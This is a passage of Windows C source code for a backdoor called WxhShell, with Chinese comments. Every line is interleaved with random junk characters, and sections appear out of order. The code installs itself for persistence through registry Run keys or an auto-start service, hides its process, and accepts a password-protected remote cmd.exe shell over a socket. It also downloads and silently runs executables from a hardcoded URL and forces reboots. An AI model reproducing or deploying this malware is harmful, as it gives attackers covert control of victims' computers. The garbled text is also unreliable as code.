    } %CfJ.;BDNE  
  // 关机 { > {|3  
  case 'd': { 6LL/wemq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ul/=1]1?  
    if(Boot(SHUTDOWN)) _Z.lr\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;E(gl$c:  
    else { WSn^P~vC  
    closesocket(wsh); TOn{o}Y B  
    ExitThread(0); " _jIqj6C  
    } 8;P8CKe  
    break; 'M|W nR  
    } \2U^y4K.  
  // 获取shell S h=E.!  
  case 's': { ,]i ^/fT  
    CmdShell(wsh); [5:,+i  
    closesocket(wsh); zKe&*tZ  
    ExitThread(0); oR5hMu;j+  
    break; Z{EHV7  
  } f*Xonb  
  // 退出 i?z3!`m  
  case 'x': { Kw3fpNd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @SDsd^N{2P  
    CloseIt(wsh); ElZ'/l*\  
    break; DOaEz?2)  
    } "V&2 g?  
  // 离开 (BVLlOo?J  
  case 'q': { 'v* =}k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }$hxD9z  
    closesocket(wsh); W*QD'  
    WSACleanup(); *SzP7]1m  
    exit(1); AEX]_1TG  
    break; #57nm]?  
        } oylY1~~}0K  
  } ^uW](2  
  } [Oxmg?W  
yX,2`&c  
  // 提示信息 l\- 1W2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HLg/=VF7?  
} 1Z'cL~9  
  } 9hHQWv7TgK  
!.zUY6  
  return; -TU7GCb=  
} Nb>|9nu O  
%:h)8e-;  
// shell模块句柄 w (W+Y+up  
int CmdShell(SOCKET sock) W=j/2c/  
{ @X>k@M  
STARTUPINFO si; ^b~&}uU  
ZeroMemory(&si,sizeof(si)); Kf76./  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LZMdW #,[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $)mq  
PROCESS_INFORMATION ProcessInfo; %.r{+m  
char cmdline[]="cmd"; r) T^ Td1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <GF)5QB  
  return 0; <^U B@'lCm  
} 9U>ID{  
TYw0#ZXo  
// 自身启动模式 g^NdN46%  
int StartFromService(void) 5~<> h~yJ  
{ k~>9,=::d  
typedef struct DifRpj I-0  
{ N;>>HN[bBP  
  DWORD ExitStatus; ') 5W  
  DWORD PebBaseAddress; IPbdX@FeV  
  DWORD AffinityMask; rFM`ne<zh  
  DWORD BasePriority; Cnd*%CPZ  
  ULONG UniqueProcessId; x +! <_p  
  ULONG InheritedFromUniqueProcessId; V2ypmkn 8&  
}   PROCESS_BASIC_INFORMATION; tv+q~TFB=Z  
i/Q*AG>b  
PROCNTQSIP NtQueryInformationProcess; DdJxb{y7  
z_*]joL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JS642T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g:q+.6va"  
n>Y3hY  
  HANDLE             hProcess; RsIEY5Q  
  PROCESS_BASIC_INFORMATION pbi; 2xZg, \  
q =b.!AZy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /_rQ>PgSZW  
  if(NULL == hInst ) return 0; (s %T1 8  
i92{N$*x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &jl'1mZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :@wO' o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iH9g5G`O  
$ N5VoK  
  if (!NtQueryInformationProcess) return 0; k)'hNk"x  
:M`|*~V~$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q+x4Od3  
  if(!hProcess) return 0; Y)N(uv6  
yrdJX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,cWO Ak  
F4k<YU  
  CloseHandle(hProcess); w eT33O"!1  
HyiuU`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VD,F?L!  
if(hProcess==NULL) return 0; 6.6~w\fR8  
si/F\NDT   
HMODULE hMod; zpZlA_   
char procName[255]; WnLgpt2G  
unsigned long cbNeeded; h76#HUBr!  
{dg3 qg~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z<+".sD'  
oZ& ns!#  
  CloseHandle(hProcess); J@oGAa%3)  
//JF$o=)D  
if(strstr(procName,"services")) return 1; // 以服务启动 fg8V6FS  
6^ wg'u]c  
  return 0; // 注册表启动 la8se=^  
} Vvm6T@b M8  
b*nyt F  
// 主模块 _R1UEE3M  
int StartWxhshell(LPSTR lpCmdLine) t+q LQY}=  
{ J@"Pv~R  
  SOCKET wsl; Fw+JhI VP  
BOOL val=TRUE; N$/{f2iC  
  int port=0; [{Fr{La`D'  
  struct sockaddr_in door; "]LNw=S  
kNI m90,g  
  if(wscfg.ws_autoins) Install(); 7t\kof  
MEI]N0L3  
port=atoi(lpCmdLine); .Ap[C? mV  
 c?}C {  
if(port<=0) port=wscfg.ws_port; 1UJ(._0hR  
+LQ2To  
  WSADATA data; #"O9\X/B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]RPv@z:V  
+; C|5y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tW|B\p}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); && ecq   
  door.sin_family = AF_INET; Wv77ef  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9K#.0  
  door.sin_port = htons(port); P;VR[d4e/  
j~\\,fl=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )P[B!  
closesocket(wsl); T)3#U8sT  
return 1; YJuaQxs  
} K>RL  
GL@s~_;T6  
  if(listen(wsl,2) == INVALID_SOCKET) { 0+/L?J3  
closesocket(wsl); <z#r3J  
return 1; cK(}B_D$  
} IQGIU3O  
  Wxhshell(wsl); [dk|lkj@u\  
  WSACleanup(); B6 x5E  
A{>]M@QC2  
return 0; izY,t!  
f4/!iiS}r  
} >%qGK-_  
^M,t`r{  
// 以NT服务方式启动 ;1NZY.pyc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ppR_y  
{ U> e@m?  
DWORD   status = 0; 3 V8SKBS  
  DWORD   specificError = 0xfffffff; Uk S86`.  
pA4/ '7nCl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 01H3@0Q6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >/6v` 8F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /{>ds-;-  
  serviceStatus.dwWin32ExitCode     = 0; ,PJl32  
  serviceStatus.dwServiceSpecificExitCode = 0; 5irewh'R  
  serviceStatus.dwCheckPoint       = 0; qI<*Cze  
  serviceStatus.dwWaitHint       = 0; eY\tO"Hc  
/p<mD-:.M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^P"t "  
  if (hServiceStatusHandle==0) return; ;r49H<z   
d;D^<-[i  
status = GetLastError(); [mw#a9  
  if (status!=NO_ERROR) /%=#*/E7  
{ Bpo~x2p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j[iJo 5  
    serviceStatus.dwCheckPoint       = 0; U,RIr8G  
    serviceStatus.dwWaitHint       = 0; +ywWQ|V  
    serviceStatus.dwWin32ExitCode     = status; m;K Mr6sO  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0 v/+%%4}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JR 2v}b  
    return; x[WT)  
  } 3`^ ]#Dh  
U=Z@Ipu5T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %04>R'mN  
  serviceStatus.dwCheckPoint       = 0; Y +HVn0~qz  
  serviceStatus.dwWaitHint       = 0; -<ZzYQk^h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (cC5zv*E  
} fN0D\Mu!)b  
aR}NAL_`w  
// 处理NT服务事件,比如:启动、停止 m"86O:S#d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +(PtOo.  
{ $T;3*D90  
switch(fdwControl) YyK9UZjI  
{ +ZizT.$&  
case SERVICE_CONTROL_STOP: #g~~zwx/N  
  serviceStatus.dwWin32ExitCode = 0; @{+*ea7M(`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u>k;P UH4  
  serviceStatus.dwCheckPoint   = 0; &_q;X;}  
  serviceStatus.dwWaitHint     = 0; um&N|5lHb  
  { 5mER&SX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rv.W~FE^  
  } Ko/_w_  
  return; O- |RPW}  
case SERVICE_CONTROL_PAUSE: CdWGb[uI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qaw5<  
  break; G?3S_3J2  
case SERVICE_CONTROL_CONTINUE: OX8jCW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rQKBT]?y  
  break; kwWO1=ikz@  
case SERVICE_CONTROL_INTERROGATE: iW* 0V3  
  break; FuEHO6nx  
}; cTRCQ+W6:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pC5-,Z;8  
} `q$DNOrS  
eHqf3f   
// 标准应用程序主函数 yQou8P=%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t9 &O0tpe  
{ }pTw$B  
dN\pe@#lKP  
// 获取操作系统版本 g](m& O  
OsIsNt=GetOsVer(); '\_ic=&u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2"BlV *\lS  
yv$MQ~]  
  // 从命令行安装 KxJJ?WyM  
  if(strpbrk(lpCmdLine,"iI")) Install(); $?*+P``  
jLb3{}0  
  // 下载执行文件 p,kJ#I  
if(wscfg.ws_downexe) { tvFJ^5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T,WWQm  
  WinExec(wscfg.ws_filenam,SW_HIDE); )h+JX8K)l  
} "T~Ps$  
r9b`3yr=  
if(!OsIsNt) { K''b)v X4  
// 如果时win9x,隐藏进程并且设置为注册表启动 SG43}  
HideProc(); )>TA|W]@  
StartWxhshell(lpCmdLine); !u7WCw.Dm  
} {K[+nX =#  
else 8d Ftp3(  
  if(StartFromService()) 2{U4wTu  
  // 以服务方式启动 N3x}YHFF  
  StartServiceCtrlDispatcher(DispatchTable); W_iP/xL  
else rWbL_1Eq  
  // 普通方式启动 ?I7H ):  
  StartWxhshell(lpCmdLine); d%]7:  
3FX` dZ  
return 0; N>]u;HjH  
} q!O~*   
V!ajD!00  
WZFV8'  
fl)Oto7  
=========================================== PN\2 ^@>_  
j$8 ~M  
Gi{1u}-0  
4pc=MR  
*YtITyDS3>  
0 _&oMPY  
" `bH Eu"(,  
4<LRa=XT$  
#include <stdio.h> kkzXv`+  
#include <string.h> JVXBm]  
#include <windows.h> jkD5Z`D  
#include <winsock2.h> &VQwuO  
#include <winsvc.h> 6fkL@It  
#include <urlmon.h> `8'|g8,wb0  
r*tGT_/6  
#pragma comment (lib, "Ws2_32.lib") 2t(E+^~  
#pragma comment (lib, "urlmon.lib") D ORFK  
.6/[X` *  
#define MAX_USER   100 // 最大客户端连接数 /ox}l<ha  
#define BUF_SOCK   200 // sock buffer '4O1Y0K  
#define KEY_BUFF   255 // 输入 buffer 3}N:oJI$z  
Kt`0vwkjvI  
#define REBOOT     0   // 重启 E~N}m7kTl/  
#define SHUTDOWN   1   // 关机 =)y=M!T2  
;)cl Cm46  
#define DEF_PORT   5000 // 监听端口 yq&]>ox  
?!A{n3\<  
#define REG_LEN     16   // 注册表键长度 JFZZ-t;*  
#define SVC_LEN     80   // NT服务名长度 e@I?ESZ5  
Y$,]~Qzq  
// 从dll定义API QTP1u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <X;y 4lPZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (# ?~^ut  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sS+9ly{9J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y<kvJb&1*  
v"bOv"!al  
// wxhshell配置信息 yWX:`*GV  
struct WSCFG { ^M,Q<HL  
  int ws_port;         // 监听端口 g4-HUc zk  
  char ws_passstr[REG_LEN]; // 口令 7v=Nh  
  int ws_autoins;       // 安装标记, 1=yes 0=no /yH:ur  
  char ws_regname[REG_LEN]; // 注册表键名 4!E6|N%f  
  char ws_svcname[REG_LEN]; // 服务名 .|o7YTcR:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zIm$S/Qe*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ea B-u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rV1JJ.I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \hm=AGI0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?MN?.O9-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :uMD$zF'5  
FTk!Mn88  
}; B04Br~hel*  
w"aD"}3  
// default Wxhshell configuration ZA:YoiaC#  
struct WSCFG wscfg={DEF_PORT, rL_AqSGAK1  
    "xuhuanlingzhe", 67J=#%\  
    1, rJg! 2  
    "Wxhshell", Ai /a y# E  
    "Wxhshell", fe&K2C%bm  
            "WxhShell Service", lRentNg0b  
    "Wrsky Windows CmdShell Service", VxsW3*`  
    "Please Input Your Password: ", r,0> 40^  
  1, C>j"Ck^<  
  "http://www.wrsky.com/wxhshell.exe", X,gXgxP\  
  "Wxhshell.exe" j@ =n|cq  
    }; \:O5,wf2  
am@\$Sa4  
// 消息定义模块 i12iB+q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #t{?WkO[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '8dgYj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]@Zj-n8  
char *msg_ws_ext="\n\rExit."; B"8^5#t4s  
char *msg_ws_end="\n\rQuit."; iD{;!dUZ  
char *msg_ws_boot="\n\rReboot..."; FK+jfr [  
char *msg_ws_poff="\n\rShutdown..."; "Tfbd^AU  
char *msg_ws_down="\n\rSave to "; >. zk-`>-  
S . 1~#  
char *msg_ws_err="\n\rErr!"; cMtkdIO  
char *msg_ws_ok="\n\rOK!"; +:oHI[1HG  
J 9>uLz  
char ExeFile[MAX_PATH]; }Z%*gfp  
int nUser = 0; ))Aj X  
HANDLE handles[MAX_USER]; j!jZJD  
int OsIsNt; xe%+Yb]  
GyT{p#l  
SERVICE_STATUS       serviceStatus; L5PN]<~T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P 7gS M  
b vUYLWzS  
// 函数声明 h-#Glse<  
int Install(void); q/&Z6LJ)  
int Uninstall(void); +#n[55d  
int DownloadFile(char *sURL, SOCKET wsh); DBVe69/S  
int Boot(int flag); @(oz`|*  
void HideProc(void); 8l)^#"ySA  
int GetOsVer(void); _DH,$evS%  
int Wxhshell(SOCKET wsl); .D>%-  
void TalkWithClient(void *cs); \@tt$ m%  
int CmdShell(SOCKET sock); f{ENSUtCrR  
int StartFromService(void); @hg1&pfxZ<  
int StartWxhshell(LPSTR lpCmdLine); Elm/T]6  
pdmeB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L?0dZY-"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &]uhPx/  
^[d)Hk}L  
// 数据结构和表定义 .GkH^9THP  
SERVICE_TABLE_ENTRY DispatchTable[] = xS*f{5Hr8  
{ &OWiA;e?f  
{wscfg.ws_svcname, NTServiceMain}, FFP>Y*v(  
{NULL, NULL} ~` #t?1SP  
}; pbju;h)O!|  
y{5ZC~Z<!  
// 自我安装 orEwP/L:  
int Install(void) ?][Mv`ST  
{ =>/aM7]  
  char svExeFile[MAX_PATH]; v#=-  
  HKEY key; !`Bb[BTf  
  strcpy(svExeFile,ExeFile); !.x(lOqf  
%mh K1,  
// 如果是win9x系统,修改注册表设为自启动 piY=(y&3  
if(!OsIsNt) { V,{ydxfB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (hdP(U77  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /GfC/)1_  
  RegCloseKey(key); K)F;^)KDHf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uFG]8pj2V1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3'*SSZmnOB  
  RegCloseKey(key); m9xO& @#vx  
  return 0; (<2PhJ|  
    } +KXg&A/^  
  } Q4q3M=0  
} Oh-HfJyi  
else { Vc c/  
StaX~J6=  
// 如果是NT以上系统,安装为系统服务 > : \lDz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '$4o,GA8  
if (schSCManager!=0) z8jQaI]j  
{ tAc[r)xFw  
  SC_HANDLE schService = CreateService ZuILDevMD  
  ( C$ nT&06o  
  schSCManager, F8>Fp"  
  wscfg.ws_svcname, c,4UnEoCR  
  wscfg.ws_svcdisp, MS><7lk-  
  SERVICE_ALL_ACCESS, M}3>5*!=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `'.u$IBW  
  SERVICE_AUTO_START, l9? ] t;  
  SERVICE_ERROR_NORMAL, d; V  
  svExeFile, KS3 /  
  NULL, YD7i6A  
  NULL, v-_K'm  
  NULL, Y7]N.G3,]  
  NULL, |jF)~k6  
  NULL  2o?!m2W  
  );  :v8j3=  
  if (schService!=0) %/-Z1Nv*#  
  { Tld %NE  
  CloseServiceHandle(schService); }4  5|  
  CloseServiceHandle(schSCManager); lLyMm8E%pZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r4A%`sk@  
  strcat(svExeFile,wscfg.ws_svcname); 8%>  Ls  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BTgL:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @T>)fKCg  
  RegCloseKey(key); \oLRNr[F  
  return 0; b78'yM&  
    } L:%; Fx2  
  } #&5m=q$EI  
  CloseServiceHandle(schSCManager); _~| j~QE]  
} q2Ax-#  
} 4 Z1- RS  
j+w*Absh  
return 1; uXNJ{]o  
}  lrU}_`  
tWdj"n%  
// 自我卸载 Vv0dBFe  
int Uninstall(void) Z?O aY4  
{ lm o>z'<  
  HKEY key; Xc"S"a^\%  
TY5<hPU=  
if(!OsIsNt) { FsTE.PT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qun#z$  
  RegDeleteValue(key,wscfg.ws_regname); $xa#+  
  RegCloseKey(key); 7V%}U5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CKmoC0.  
  RegDeleteValue(key,wscfg.ws_regname); 2BsMFMIw1  
  RegCloseKey(key); I[WW1P5  
  return 0; p p9Gzn C  
  } /{\tkvv-Z  
} `GUj.+u  
} uhbo/7d'7  
else { !2>gC"$nv  
"ALR)s,1,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z,! w.TYo  
if (schSCManager!=0) g\OPidY  
{ n*{e0,gp`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CJ%bBL'.  
  if (schService!=0) J`Q#p%W  
  { $DJp|(8  
  if(DeleteService(schService)!=0) { +^1H tI|y  
  CloseServiceHandle(schService); ~^w;`~L  
  CloseServiceHandle(schSCManager); L'`W5B@  
  return 0; aM,>LKNbQ  
  } GGo nA  
  CloseServiceHandle(schService); "=MRzSke3  
  } kG:uXbUI'  
  CloseServiceHandle(schSCManager); =X2 Ieb  
} l5l:'EY>  
} *ukE"Aj  
oIAP dn  
return 1; xbxU`2/  
} q]`XUGC  
3^xTZ*G  
// 从指定url下载文件 Xd!=1 ::  
int DownloadFile(char *sURL, SOCKET wsh) Azxy!gDT"  
{ ^ RU"v>  
  HRESULT hr; C(Yk-7  
char seps[]= "/"; APsd^J  
char *token; r2]:'O6  
char *file; vbXuT$  
char myURL[MAX_PATH]; 3&/5!zOg)  
char myFILE[MAX_PATH]; (B.J8`h }  
vA10'Gx'  
strcpy(myURL,sURL); S6*3."Sk  
  token=strtok(myURL,seps); W1w)SS  
  while(token!=NULL) 24}r;=U  
  { f5IO<(:E^  
    file=token; 5#!pwjt~7  
  token=strtok(NULL,seps); !E'jd72O  
  } >}\!'3)_  
5Y"JRWC  
GetCurrentDirectory(MAX_PATH,myFILE); xwW[6Ah  
strcat(myFILE, "\\"); #6[FGM  
strcat(myFILE, file); .36z  
  send(wsh,myFILE,strlen(myFILE),0); ]6v6&YV  
send(wsh,"...",3,0); N5Eb.a9S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =P!SN]nFeP  
  if(hr==S_OK) wv|:-8V  
return 0; 5 S$*YRp  
else 4(B{-cK  
return 1; Z,.*!S=?h  
Vf`n>  
} %u-l6<w# R  
#*:y2W%H  
// 系统电源模块 ]d&6 ?7 !>  
int Boot(int flag) X<9jBj/t  
{ {n2mh%I  
  HANDLE hToken; !G.)%+Z  
  TOKEN_PRIVILEGES tkp; Y.Na9&-(  
{e/Qs|a R  
  if(OsIsNt) { '-p<E"#4Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  ]O3[Te  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yk5-@qo  
    tkp.PrivilegeCount = 1; X!2/cgU7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U-6b><  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )zkk%mE/IM  
if(flag==REBOOT) { <v&>&;>3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R;,+0r^i  
  return 0; }rz}>((ZHF  
} 7Co }4  
else { { aqce g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ( ?3 )l   
  return 0; [~,~ e   
} 3rhH0{  
  } V7.xKmB  
  else { u*  G|TF  
if(flag==REBOOT) { 2u4aCfIx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *`YR-+0  
  return 0; Y-hGHnh]'  
} a02@CsH  
else { <?5 ,3`V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BaIH7JLZ8  
  return 0; sNZ{OD+  
} t5G@M&d4Eo  
} 5K|1Y#X  
dU+28  
return 1; tJy6\~  
} r5t C  
sc\4.Ux%Q  
// win9x进程隐藏模块 8q{ %n   
void HideProc(void) QXqBb$AXi,  
{ Fr?o 4E6h  
N>giFj[dD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^P >; %  
  if ( hKernel != NULL ) fn>MOD!l  
  { ,.6Hh'^65^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TXD\i Dq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l 3bo  
    FreeLibrary(hKernel);  T},Nqt<  
  } %|bqL3)a_  
q$7WZ+Y\  
return; ^\Gaf5{  
} 48nZ H=(Eh  
,Ua`BWF  
// 获取操作系统版本 H@GiHej  
int GetOsVer(void) `6koQZm  
{ D6@c&  
  OSVERSIONINFO winfo; rTT Uhd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hdJW#,xq  
  GetVersionEx(&winfo); /MKcS%/H/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gF+Uj( d  
  return 1; !%>p;H%0  
  else PB*m D7"  
  return 0; /co^swz  
} CKeT%3  
'+LC.lM  
// 客户端句柄模块 tYK 5?d  
int Wxhshell(SOCKET wsl) JK34pm[s  
{ 7KXc9:p+  
  SOCKET wsh; >xb}AY;  
  struct sockaddr_in client; m?VA 1  
  DWORD myID; GY%lPp  
Z_Ffiw(p  
  while(nUser<MAX_USER) fw Ooi 'jb  
{ p3>p1tC  
  int nSize=sizeof(client); t$m~O?I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0+p <Jc!  
  if(wsh==INVALID_SOCKET) return 1; B%QvFxZz  
:^]rjy/|+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~'k.'O{  
if(handles[nUser]==0) musZCg$  
  closesocket(wsh); '|V"!R)  
else ,\ [R\s  
  nUser++; YMx]i,u'+  
  } f-&4x_5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q]wM WV  
&6V[@gmD  
  return 0; <XG&f  
} E0]B=-  
Y3^UJe7E  
// 关闭 socket p(o"K@I  
void CloseIt(SOCKET wsh) #InuN8sI  
{ 2>3#/I9Y  
closesocket(wsh); +j Z,vKr  
nUser--; 6V)P4ao  
ExitThread(0); J3`a}LyDf  
} } wZ9#Ll  
I(!i"b9  
// 客户端请求句柄 n?'I&0>M  
void TalkWithClient(void *cs) 1 ~ fD:  
{ y}Ji( q~  
1h_TG.YL9>  
  SOCKET wsh=(SOCKET)cs; MHNuA,cz  
  char pwd[SVC_LEN]; 91'i7&~xdG  
  char cmd[KEY_BUFF]; KG7 ~)g  
char chr[1]; +ve S~   
int i,j; oZm)@Vv;  
~.\CG'g  
  while (nUser < MAX_USER) { u*LMpTnn  
;>YLL}]j  
if(wscfg.ws_passstr) { @$o.Z;83`r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &/o4R:i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fg"]4&`j-  
  //ZeroMemory(pwd,KEY_BUFF); +P YX.  
      i=0; mcbvB5U  
  while(i<SVC_LEN) { =GH>-*qp  
SStaS<q '  
  // 设置超时 2:b3+{\f  
  fd_set FdRead; {yFCGCs  
  struct timeval TimeOut; %@Mv-A6)  
  FD_ZERO(&FdRead); v;_m1UpuW  
  FD_SET(wsh,&FdRead); `wIMu$i  
  TimeOut.tv_sec=8; W%Jw\ z=  
  TimeOut.tv_usec=0; &d}1) ?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NL`}rj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8x":7 yV&  
DXFU~J*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]=Im0s  
  pwd=chr[0]; SLI(;, s  
  if(chr[0]==0xd || chr[0]==0xa) { /Mq9~oC  
  pwd=0; }.`no  
  break; s}3g+T\l1w  
  } DAYR=s  
  i++; Ss>ez8q  
    } -lICoRO#  
Fl8*dXG&  
  // 如果是非法用户,关闭 socket I?y!d G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H{yUKZH*  
} %0-fn'  
\mGx-g6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :'hc&wk`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7I\qEr57  
{nQ?+o3  
while(1) { 5pC+*n.  
zoh%^8? o  
  ZeroMemory(cmd,KEY_BUFF); w~+C.4=7  
mV~aZM0'  
      // 自动支持客户端 telnet标准   }J_"/bB  
  j=0; 4th*=ku  
  while(j<KEY_BUFF) { >aw`kr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'c]Fhe fb  
  cmd[j]=chr[0]; Ddu1>"p-x  
  if(chr[0]==0xa || chr[0]==0xd) { F"|OcKAA}h  
  cmd[j]=0; 0[\sz>@  
  break; >]/RlW[  
  } w^BF.Nu  
  j++; ML:Zm~A1U  
    } $G UCVxs  
+)J;4B  
  // 下载文件 19#s:nt9  
  if(strstr(cmd,"http://")) { 1:Sq?=&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dt#( fuk#  
  if(DownloadFile(cmd,wsh)) *P:!lO\|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /w|!SZB  
  else V= wWY*C  
